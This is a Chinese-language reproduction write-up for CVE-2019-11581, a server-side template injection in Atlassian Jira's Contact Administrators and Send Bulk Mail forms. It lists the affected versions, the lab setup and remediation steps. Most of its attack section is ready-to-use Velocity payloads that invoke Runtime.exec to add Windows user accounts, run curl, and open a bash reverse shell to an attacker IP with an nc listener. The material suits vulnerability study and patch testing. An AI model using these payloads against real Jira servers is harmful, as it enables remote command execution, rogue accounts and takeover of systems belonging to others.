###Atlassian JIRA服务器模板注入漏洞–kn
漏洞描述
Jira是Atlassian公司出品的项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。Jira配置灵活、功能全面、部署简单、扩展丰富,因此具有较广泛的应用范围,请相关用户及时进行排查,第一时间封堵风险。
Atlassian Jira Server和Jira Data Center存在服务端模板注入漏洞,成功利用此漏洞的攻击者可对运行受影响版本的Jira Server或Jira Data Center的服务器执行任意命令,从而获取服务器权限,严重危害网络资产。
cve编号
CVE-2019-11581
影响范围
受影响版本
- Jira 4.4.0 < 7.6.14
- Jira 7.7.0 < 7.13.5
- Jira 8.0.0 < 8.0.3
- Jira 8.1.0 < 8.1.2
- Jira 8.2.0 < 8.2.3
不受影响版本
- Jira 7.6.14
- Jira 7.13.5
- Jira 8.0.3
- Jira 8.1.2
- Jira 8.2.3
前期准备
1.漏洞利用条件
当JIRA中配置了SMTP,并且启用了联系人管理员表单时; 当JIRA中配置了SMTP,并且攻击者拥有“JIRA管理员”访问权限时。
2.两种URL漏洞验证方式
第一种无需管理员账户权限:http://127.0.0.1:8080/secure/ContactAdministrators!default.jspa
第二种需要管理员账户权限:http://127.0.0.1:8080/secure/admin/SendBulkMail!default.jspa
3.环境准备
靶机:win7
版本信息:Atlassian JIRAv7.13.0 下载地址(下载完成后可以去官网注册账号申请个免费试用):
访问如下URL(无需管理员账户权限):
如果提示如下图,这说明没有配置联系管理员是无法触发漏洞。
请登陆后台开启联系管理员,配置地址如下:
http://127.0.0.1:8080/secure/admin/AddSmtpMailServer!default.jspa
默认是关闭的,需要配置了STMP发信后才能开启,配置STMP的时候可以测试连接,服务器必须开25端口,不然不能发邮件。
1.在系统-外发邮件创建一个SMTP电邮服务器。
2.创建成功。
3.开启联系管理员表单。
http://127.0.0.1:8080/secure/admin/EditApplicationProperties!default.jspa
漏洞复现
一.未登录状态触发漏洞
1.通过http://127.0.0.1:8080/login.jsp访问看是否正常运行。
2.访问http://127.0.0.1:8080/secure/ContactAdministrators!default.jspa
3.在Subject填入payload,注意,我这里环境是windows,所以可以添加账号观察,Linux可以用反弹shell的代码等等,反正换成自己想执行的命令。
$i18n.getClass().forName(‘java.lang.Runtime’).getMethod(‘getRuntime’,null).invoke(null,null).exec(‘net user root abc@ABC123 /add’).waitFor()
目标主机在linux环境可以使用下边的payload,在tmp目录下创建eve-2019-11581文件
$i18n.getClass().forName(‘java.lang.Runtime’).getMethod(‘getRuntime’,null).invoke(null, null).exec(‘touch /tmp/cve-2019-11581’).toString()
4.成功添加root用户,和没添加前进行对比,如下图所示:
二.登录管理员账号触发漏洞
1.登录管理员账号访问系统-发送电邮,也可以直接访问如下路径:
/secure/admin/SendBulkMail!default.jspa
2.在主题处填入payload,执行以下命令添加账号的账户名。
$i18n.getClass().forName(‘java.lang.Runtime’).getMethod(‘getRuntime’,null).invoke(null,null).exec(‘net user test abc@ABC123 /add’).waitFor()
Linux下可执行的payload:
$i18n.getClass().forName(‘java.lang.Runtime’).getMethod(‘getRuntime’,null).invoke(null,null).exec(‘curl http://www.baidu.com’).waitFor()
$i18n.getClass().forName(‘java.lang.Runtime’).getMethod(‘getRuntime’,null).invoke(null,null).exec(‘bash -i >& /dev/tcp/攻击者IP/2333 0>&1’).waitFor()
攻击者主机执行:nc -lvvp 2333
3.查看发现成功添加了新的账户,如下图所示:
修复建议
1.升级到不受影响的版本。
2.关闭联系管理员表单,并禁止对路径/secure/admin/SendBulkMail!default.jspa的访问。
参考链接
http://blog.nsfocus.net/cve-2019-11581-2/
https://www.cnblogs.com/backlion/p/11608439.html
https://blog.csdn.net/xuandao_ahfengren/article/details/111107410
请登录后查看回复内容